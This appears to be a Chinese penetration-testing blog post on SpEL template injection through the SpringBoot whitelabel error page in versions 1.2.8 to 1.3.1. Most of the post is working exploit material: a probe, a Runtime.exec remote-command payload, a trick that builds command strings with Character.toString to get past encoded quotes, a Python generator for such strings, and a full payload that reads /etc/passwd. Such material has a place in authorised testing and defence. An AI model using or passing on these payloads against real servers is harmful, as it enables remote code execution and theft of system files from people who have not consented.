[SpringBoot]whitelabel error page的测试点

00×0 前言

这里记录一下这种测试方法,测试方法在15年就已经提出来了,但是注意的人没多少。碰是碰到过一些案例,但是主要的还是参数构造和寻找的问题,一般都会出现在用SpringBoot写的接口的地方。

00×1 复现

版本限制:.1.2.8~1.3.1

SpringBoot一般用的模版语言是SPEL,所以进行测试的时候,可以输入${1+1}查看页面返回的值是否经过计算变成了2.如果变成了2,那就存在SSTI了。

这里借用别人的图来验证,

https://xxx.com/test?id=abc${12*12}abc

然后我们就会习惯性的输入${T(java.lang.Runtime).getRuntime().exec(‘id’)}

错误咯,原因在下图,主要是因为被url编码了

然后就要突破一下这种形式,不能直接输入单引号或者双引号,因为这样会破坏exec的执行。

java.lang.Character.toString(105).concat(T(java.lang.Character).toString(100))
-> 'id'

 

利用这种形式构造poc,就能绕过单双引号被编码了。

https://xxx.com/test?id=${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(105).concat(T(java.lang.Character).toString(100)))}

然后生成命令的py脚本如下

#!/usr/bin/env python
from __future__ import print_function
import sys

message = raw_input('Enter message to encode:')

print('Decoded string (in ASCII):\n')
for ch in message:
   print('.concat(T(java.lang.Character).toString(%s))' % ord(ch), end=""), 
print('\n')

 

cat /etc/passwd 示例

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).get
Runtime().exec(T(java.lang.Character).toString(99).concat(T(ja
va.lang.Character).toString(97)).concat(T(java.lang.Character).toStri
ng(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.la
ng.Character).toString(47)).concat(T(java.lang.Character).toString(10
1)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.C
haracter).toString(99)).concat(T(java.lang.Character).toString(47)).c
oncat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).
toString(97)).concat(T(java.lang.Character).toString(115)).concat
(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toStrin
g(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

 

00×3 后言

一定要多注意一些冷门的洞,扩展自己的漏洞测试面~


发表评论

电子邮件地址不会被公开。 必填项已用*标注